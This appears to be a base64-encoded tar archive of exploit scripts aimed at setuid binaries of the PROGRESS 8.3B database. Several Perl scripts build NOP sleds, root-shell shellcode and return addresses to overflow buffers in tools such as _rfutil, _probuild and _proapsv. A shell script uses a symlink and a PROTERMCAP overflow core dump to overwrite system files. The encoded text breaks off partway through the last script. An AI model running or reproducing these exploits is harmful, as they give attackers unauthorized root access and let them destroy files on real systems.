AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAd29ya2luZy9fcmZ1dGlsLWV4LnBsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAx MDA3NTUAMDAwMDAwMAAwMDAwMDAwADAwMDAwMDAyMDQxADA3MTE3NDUwMzE1ADAxMzY1MwAg MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhciAg AHJvb3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcm9vdAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjIS91c3IvYmluL3BlcmwKIwojIFty b290QGxvY2FsaG9zdCByb290XSMgL3Vzci9kbGMvYmluL19yZnV0aWwgYC4vX3JmdXRpbC1l eC5wbCBgCiMgc2gtMi4wNSMKIwojIGh0dHA6Ly93d3cuc25vc29mdC5jb20gLSBtYWlsdG86 Ly9kb3RzbGFzaEBzbm9zb2Z0LmNvbQojCiMgUFJPR1JFU1MgVmVyc2lvbiA4LjNCMjAgYXMg b2YgVHVlIE5vdiAgOSAxOTowMDowMyBFU1QgMTk5OQojIG5vIHBhdGNoZXMgLi4uIGRlZmF1 bHQgaW5zdGFsbC4gCiMgLXJ3c3J3eHIteCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgNjg2 NTgyIE5vdiAgOSAgMTk5OSBfcmZ1dGlsKgoKCiRlaXA9MHg0MGJmZmZlNDsKCiMgKGdkYikg eC8xMHMgJGVjeC02MDI1CiMgMHhiZmZmZTQyMzogICAgICAiIgojIDB4YmZmZmU0MjQ6ICAg ICAgImk2ODYiCiMgMHhiZmZmZTQyOTogICAgICAiL3Vzci9kbGMvYmluLy4vX3JmdXRpbCIK IyAweGJmZmZlNDQwOiAgICAgICdcMjIwJyA8cmVwZWF0cyAyMDAgdGltZXM+Li4uCiMgMHhi ZmZmZTUwODogICAgICAnXDIyMCcgPHJlcGVhdHMgMjAwIHRpbWVzPi4uLgoKJG9mZiA9ICIw IjsKJHNpemU9IDU5NDU7Cgokc2hlbGwgPSAKCiAgICJceDMxXHhjMFx4MzFceGRiXHhiMFx4 MTdceGNkXHg4MCIuCiAgICJceGViXHgxZlx4NWVceDg5XHg3Nlx4MDhceDMxXHhjMFx4ODhc eDQ2XHgwN1x4ODlceDQ2XHgwY1x4YjBceDBiIi4KICAgIlx4ODlceGYzXHg4ZFx4NGVceDA4 XHg4ZFx4NTZceDBjXHhjZFx4ODBceDMxXHhkYlx4ODlceGQ4XHg0MFx4Y2QiLgogICAiXHg4 MFx4ZThceGRjXHhmZlx4ZmZceGZmL2Jpbi9zaCI7CgokbnVtcmV0eiA9ICgoJHNpemUgIC0g JHNoZWxsKS8yKS80IDsKJG51bW5vcHogPSAoJHNpemUgIC0gJHNoZWxsKS8yIDsKCmZvcigk aSA9IDA7ICRpIDwgJG51bW5vcHo7ICRpKyspCnsKCSRidWZmZXIuPSBwYWNrKCdsJywgMHg5 MCk7Cn0KCiRidWZmZXIgLj0kc2hlbGw7Cgpmb3IoJGkgPSAwOyAkaSA8ICRudW1yZXR6OyAk aSsrKQp7CgkkYnVmZmVyLj0gcGFjaygnbCcsICgkZWlwICsgJG9mZikpOwp9CgpwcmludCAk YnVmZmVyCgoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAB3b3JraW5nL19wcm9idWlsZC1leC5wbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDEwMDc1 NQAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDE1MjAAMDcxMTc0NTEyNTUAMDE0MTczACAwAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHVzdGFyICAAcm9v dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMhL3Vzci9iaW4vcGVybAojCiMgW3Jvb3RA bG9jYWxob3N0IHJvb3RdIyAvdXNyL2RsYy9iaW4vX3Byb2J1aWxkIGAuL19wcm9idWlsZC1l eC5wbCBgCiMgc2gtMi4wNSMKIwojIGh0dHA6Ly93d3cuc25vc29mdC5jb20gLSBtYWlsdG86 Ly9kb3RzbGFzaEBzbm9zb2Z0LmNvbQojCiMgUFJPR1JFU1MgVmVyc2lvbiA4LjNCMjAgYXMg b2YgVHVlIE5vdiAgOSAxOTowMDowMyBFU1QgMTk5OQojIG5vIHBhdGNoZXMgLi4uIGRlZmF1 bHQgaW5zdGFsbC4gCiMgLXJ3c3J3eHIteCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAyNTc0 MzMxIE5vdiAgOSAgMTk5OSBfcHJvYnVpbGQqCgoKJGVpcD0weGU0NDBiZmZmOwoKJG9mZiA9 ICIwIjsKJHNpemU9IDYyNzk7Cgokc2hlbGwgPSAKCiAgICJceDMxXHhjMFx4MzFceGRiXHhi MFx4MTdceGNkXHg4MCIuCiAgICJceGViXHgxZlx4NWVceDg5XHg3Nlx4MDhceDMxXHhjMFx4 ODhceDQ2XHgwN1x4ODlceDQ2XHgwY1x4YjBceDBiIi4KICAgIlx4ODlceGYzXHg4ZFx4NGVc eDA4XHg4ZFx4NTZceDBjXHhjZFx4ODBceDMxXHhkYlx4ODlceGQ4XHg0MFx4Y2QiLgogICAi XHg4MFx4ZThceGRjXHhmZlx4ZmZceGZmL2Jpbi9zaCI7CgokbnVtcmV0eiA9ICgoJHNpemUg IC0gJHNoZWxsKS8yKS80IDsKJG51bW5vcHogPSAoJHNpemUgIC0gJHNoZWxsKS8yIDsKCmZv cigkaSA9IDA7ICRpIDwgJG51bW5vcHo7ICRpKyspCnsKCSRidWZmZXIuPSBwYWNrKCdsJywg MHg5MCk7Cn0KCiRidWZmZXIgLj0kc2hlbGw7Cgpmb3IoJGkgPSAwOyAkaSA8ICRudW1yZXR6 OyAkaSsrKQp7CgkkYnVmZmVyLj0gcGFjaygnbCcsICgkZWlwICsgJG9mZikpOwp9Cgpwcmlu dCAkYnVmZmVyCgoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3b3JraW5nL19wcm9ncmVzLWV4LnBsAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAMDEwMDc1NQAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDE1MTQA MDcxMTc0NTE1NjIAMDE0MDQwACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABy b290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMh L3Vzci9iaW4vcGVybAojCiMgW3Jvb3RAbG9jYWxob3N0IHJvb3RdIyAvdXNyL2RsYy9iaW4v X3Byb2dyZXMgYC4vX3Byb2dyZXMtZXgucGwgYAojIHNoLTIuMDUjCiMKIyBodHRwOi8vd3d3 LnNub3NvZnQuY29tIC0gbWFpbHRvOi8vZG90c2xhc2hAc25vc29mdC5jb20KIwojIFBST0dS RVNTIFZlcnNpb24gOC4zQjIwIGFzIG9mIFR1ZSBOb3YgIDkgMTk6MDA6MDMgRVNUIDE5OTkK IyBubyBwYXRjaGVzIC4uLiBkZWZhdWx0IGluc3RhbGwuIAojIC1yd3Nyd3hyLXggICAgMSBy b290ICAgICByb290ICAgICAgMjk4NjE2MyBOb3YgIDkgIDE5OTkgX3Byb2dyZXMqCgokZWlw PTB4ZTQ0MGJmZmY7Cgokb2ZmID0gIjAiOwokc2l6ZT0gNjI4ODsKCiRzaGVsbCA9IAoKICAg Ilx4MzFceGMwXHgzMVx4ZGJceGIwXHgxN1x4Y2RceDgwIi4KICAgIlx4ZWJceDFmXHg1ZVx4 ODlceDc2XHgwOFx4MzFceGMwXHg4OFx4NDZceDA3XHg4OVx4NDZceDBjXHhiMFx4MGIiLgog ICAiXHg4OVx4ZjNceDhkXHg0ZVx4MDhceDhkXHg1Nlx4MGNceGNkXHg4MFx4MzFceGRiXHg4 OVx4ZDhceDQwXHhjZCIuCiAgICJceDgwXHhlOFx4ZGNceGZmXHhmZlx4ZmYvYmluL3NoIjsK CiRudW1yZXR6ID0gKCgkc2l6ZSAgLSAkc2hlbGwpLzIpLzQgOwokbnVtbm9weiA9ICgkc2l6 ZSAgLSAkc2hlbGwpLzIgOwoKZm9yKCRpID0gMDsgJGkgPCAkbnVtbm9wejsgJGkrKykKewoJ JGJ1ZmZlci49IHBhY2soJ2wnLCAweDkwKTsKfQoKJGJ1ZmZlciAuPSRzaGVsbDsKCmZvcigk aSA9IDA7ICRpIDwgJG51bXJldHo7ICRpKyspCnsKCSRidWZmZXIuPSBwYWNrKCdsJywgKCRl aXAgKyAkb2ZmKSk7Cn0KCnByaW50ICRidWZmZXIKCgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3b3Jr aW5nL19wcm9ncmVzYS1leC5wbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDEwMDc1NQAwMDAw MDAwADAwMDAwMDAAMDAwMDAwMDE1MTUAMDcxMTc0NTIwMTIAMDE0MTcxACAwAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHVzdGFyICAAcm9vdAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAACMhL3Vzci9iaW4vcGVybAojCiMgW3Jvb3RAbG9jYWxo b3N0IGJpbl0jIC91c3IvZGxjL2Jpbi9fcHJvZ3Jlc2EgYC4vX3Byb2dyZXNhLWV4LnBsIGAK IyBzaC0yLjA1IwojCiMgaHR0cDovL3d3dy5zbm9zb2Z0LmNvbSAtIG1haWx0bzovL2RvdHNs YXNoQHNub3NvZnQuY29tCiMKIyBQUk9HUkVTUyBWZXJzaW9uIDguM0IyMCBhcyBvZiBUdWUg Tm92ICA5IDE5OjAwOjAzIEVTVCAxOTk5CiMgbm8gcGF0Y2hlcyAuLi4gZGVmYXVsdCBpbnN0 YWxsLiAKIyAtcndzcnd4ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgIDI5ODYxNjMgTm92 ICA5ICAxOTk5IF9wcm9ncmVzKgoKJGVpcD0weGZmZTQ0MGJmOwoKJG9mZiA9ICIwIjsKJHNp emU9IDYyODg7Cgokc2hlbGwgPSAKCiAgICJceDMxXHhjMFx4MzFceGRiXHhiMFx4MTdceGNk XHg4MCIuCiAgICJceGViXHgxZlx4NWVceDg5XHg3Nlx4MDhceDMxXHhjMFx4ODhceDQ2XHgw N1x4ODlceDQ2XHgwY1x4YjBceDBiIi4KICAgIlx4ODlceGYzXHg4ZFx4NGVceDA4XHg4ZFx4 NTZceDBjXHhjZFx4ODBceDMxXHhkYlx4ODlceGQ4XHg0MFx4Y2QiLgogICAiXHg4MFx4ZThc eGRjXHhmZlx4ZmZceGZmL2Jpbi9zaCI7CgokbnVtcmV0eiA9ICgoJHNpemUgIC0gJHNoZWxs KS8yKS80IDsKJG51bW5vcHogPSAoJHNpemUgIC0gJHNoZWxsKS8yIDsKCmZvcigkaSA9IDA7 ICRpIDwgJG51bW5vcHo7ICRpKyspCnsKCSRidWZmZXIuPSBwYWNrKCdsJywgMHg5MCk7Cn0K CiRidWZmZXIgLj0kc2hlbGw7Cgpmb3IoJGkgPSAwOyAkaSA8ICRudW1yZXR6OyAkaSsrKQp7 CgkkYnVmZmVyLj0gcGFjaygnbCcsICgkZWlwICsgJG9mZikpOwp9CgpwcmludCAkYnVmZmVy CgoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAB3b3JraW5nL19wcm9ncmVzX2ZpbGVvdmVyd3JpdGUuc2gA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAMDEwMDc1NQAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDE0MjYAMDcxMjA0 MTU2MTAAMDE2MzYxACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMhL2Jpbi9z aAojIHRoaXMgaXMgZHVtYi4uLgojIGNvcmUgZHVtcHMgZm9sbG93IHN5bWxpbmtzLgojIHNv IHVzZSB0aGUgbm9uLWV4cGxvaXRhYmxlIHRlcm1jYXAgaG9sZQojIHRvIGNsb2JiZXIgYW55 IGZpbGUKIwojIHNoLTIuMDUkIGxzIC1hbCAvZXRjL21vdGQKIyBsczogL2V0Yy9tb3RkOiBO byBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5CiMKIyBzaC0yLjA1JCAuL19wcm9ncmVzX2ZpbGVv dmVyd3JpdGUuc2gKIyBTWVNURU0gRVJST1I6IHN0cmVudCByZXF1ZXN0IGZvciBtb3JlIHRo YW4gMzJLLiAoODkzKQojIC4vX3Byb2dyZXNfZmlsZW92ZXJ3cml0ZS5zaDogbGluZSAxMTog IDE3NTUgUXVpdCAgICAgICAgICAgICAgICAgICAgL3Vzci9kbGMvYmluL19wcm9ncmVzCiMK IyBzaC0yLjA1JCBscyAtYWwgL2V0Yy9tb3RkCiMgLXJ3LXItLXItLSAgICAxIHJvb3QgICAg IG5vYm9keSAgICAgICAgIDczIEp1biAgNyAxMDoyMiAvZXRjL21vdGQKIwojIHNoLTIuMDUk IGNhdCAvZXRjL21vdGQKIyAwNi8wNy8wMSAxMDoyMjozOQojIFByb2dyZXNzIFJlY2VudCBN ZXNzYWdlKHMpOgojICAgKioqIDRHTCBDYWxsIFN0YWNrICoqKgoKY2QgL3RtcApsbiAtcyAv ZXRjL3Bhc3N3ZF8gcHJvY29yZQplY2hvICJsaW51eHxsaW51eCB3aXRoIGZ1Y2tlZCB1cCBj aGFyYWN0ZXIgc2V0OlxcOnNvPSJgcGVybCAtZSAncHJpbnQgIkEiIHggMzQwMDAnYCA+IHBy b3Rlcm1jYXAKZXhwb3J0IFBST1RFUk1DQVA9Li9wcm90ZXJtY2FwCmV4cG9ydCBURVJNPWxp bnV4Ci91c3IvZGxjL2Jpbi9fcHJvZ3JlcwoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3b3JraW5nL19w cm9hcHN2LWV4LnBsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDEwMDc1NQAwMDAwMDAwADAw MDAwMDAAMDAwMDAwMDE0MDIAMDcxMjA0MTI0NzUAMDE0MDM3ACAwAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHVzdGFyICAAcm9vdAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAACMhL3Vzci9iaW4vcGVybAojCiMgW3Jvb3RAbG9jYWxob3N0IHdv cmtpbmddIyAvdXNyL2RsYzkxYi9iaW4vX3Byb2Fwc3YgYC4vX3Byb2Fwc3YtZXgucGwgYAoj IHNoLTIuMDUjCiMKIyBodHRwOi8vd3d3LnNub3NvZnQuY29tIC0gbWFpbHRvOi8vZG90c2xh c2hAc25vc29mdC5jb20KIwojIC1yd3NyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAg NDcyNTg1OSBEZWMgIDcgIDIwMDAgL3Vzci9kbGM5MWIvYmluL19wcm9hcHN2KgoKJGVpcD0w eGJmZmY5MTZlOwokb2ZmID0gIjAiOwokc2l6ZT0gMjcxMzY7Cgokc2hlbGwgPSAKCiAgICJc eDMxXHhjMFx4MzFceGRiXHhiMFx4MTdceGNkXHg4MCIuCiAgICJceGViXHgxZlx4NWVceDg5 XHg3Nlx4MDhceDMxXHhjMFx4ODhceDQ2XHgwN1x4ODlceDQ2XHgwY1x4YjBceDBiIi4KICAg Ilx4ODlceGYzXHg4ZFx4NGVceDA4XHg4ZFx4NTZceDBjXHhjZFx4ODBceDMxXHhkYlx4ODlc eGQ4XHg0MFx4Y2QiLgogICAiXHg4MFx4ZThceGRjXHhmZlx4ZmZceGZmL2Jpbi9zaCI7Cgok bnVtcmV0eiA9ICgoJHNpemUgIC0gJHNoZWxsKS8yKS80IDsKJG51bW5vcHogPSAoJHNpemUg IC0gJHNoZWxsKS8yIDsKCmZvcigkaSA9IDA7ICRpIDwgJG51bW5vcHo7ICRpKyspCnsKCSRi dWZmZXIuPSBwYWNrKCdsJywgMHg5MCk7Cn0KCiRidWZmZXIgLj0kc2hlbGw7Cgpmb3IoJGkg PSAwOyAkaSA8ICRudW1yZXR6OyAkaSsrKQp7CgkkYnVmZmVyLj0gcGFjaygnbCcsICgkZWlw ICsgJG9mZikpOwp9CgpwcmludCAkYnVmZmVyCgoKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAB3b3JraW5nL19wcm9vaWJrLWV4LnBsAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAMDEwMDc1NQAwMDAwMDAwADAwMDAwMDAAMDAwMDAwMDIxMDcAMDcxMjAzNDIzNzIA MDE0MDEzACAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AHVzdGFyICAAcm9vdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByb290AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACMhL3Vzci9iaW4vcGVy bAojCiMgW3Jvb3RAbG9jYWxob3N0IHJvb3RdIyAvdXNyL2RsYy9iaW4vX3Byb29pYmsgYC4v X3Byb29pYmstZXgucGwgYAojIHNoLTIuMDUjCiMKIyBodHRwOi8vd3d3LnNub3NvZnQuY29t IC0gbWFpbHRvOi8vZG90c2xhc2hAc25vc29mdC5jb20KIwojIFBST0dSRVNTIFZlcnNpb24g OC4zQjIwIGFzIG9mIFR1ZSBOb3YgIDkgMTk6MDA6MDMgRVNUIDE5OTkKIyBvbiB0aGUgZGVm YXVsdCBpbnN0YWxsIHRoaXMgaXMgTk9UIHN1aWQuIEJ1dCByZWFkIGtub3dsZWdlYmFzZQoj IGFydGljbGVzIG9yIHRha2UgYWR2aWNlIGZyb20gcHJvZ3Jlc3MgYW5kIHlvdSdsbCBoYXZl IHN1aWQgb24gCiMgYWxvdCBtb3JlIHN0dWZmIHRoYXQgeW91IGRpZCBvbiB0aGUgZGVmYXVs dCBpbnN0YWxsLgojIGV2ZW4gYmV0dGVyLi4uIGp1c3Qgd2FpdCBmb3IgYSBwYXRjaCB0byBj b21lIG91dCBhbmQgeW91J2xsIAojIGdldCB0aGlzIGJpbmFyeSBzdWlkIHJvb3QgZm9yIGZy ZWUuIAojIC1yd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgIDI0ODY4NyBOb3Yg IDkgIDE5OTkgX3Byb29pYmsqCgokZWlwPTB4ZTU2ZWJmZmY7CiRvZmYgPSAiMCI7CiRzaXpl PSA1NjIwOwoKJHNoZWxsID0gCgogICAiXHgzMVx4YzBceDMxXHhkYlx4YjBceDE3XHhjZFx4 ODAiLgogICAiXHhlYlx4MWZceDVlXHg4OVx4NzZceDA4XHgzMVx4YzBceDg4XHg0Nlx4MDdc eDg5XHg0Nlx4MGNceGIwXHgwYiIuCiAgICJceDg5XHhmM1x4OGRceDRlXHgwOFx4OGRceDU2 XHgwY1x4Y2RceDgwXHgzMVx4ZGJceDg5XHhkOFx4NDBceGNkIi4KICAgIlx4ODBceGU4XHhk Y1x4ZmZceGZmXHhmZi9iaW4vc2giOwoKJG51bXJldHogPSAoKCRzaXplICAtICRzaGVsbCkv MikvNCA7CiRudW1ub3B6ID0gKCRzaXplICAtICRzaGVsbCkvMiA7Cgpmb3IoJGkgPSAwOyAk aSA8ICRudW1ub3B6OyAkaSsrKQp7CgkkYnVmZmVyLj0gcGFjaygnbCcsIDB4OTApOwp9Cgok 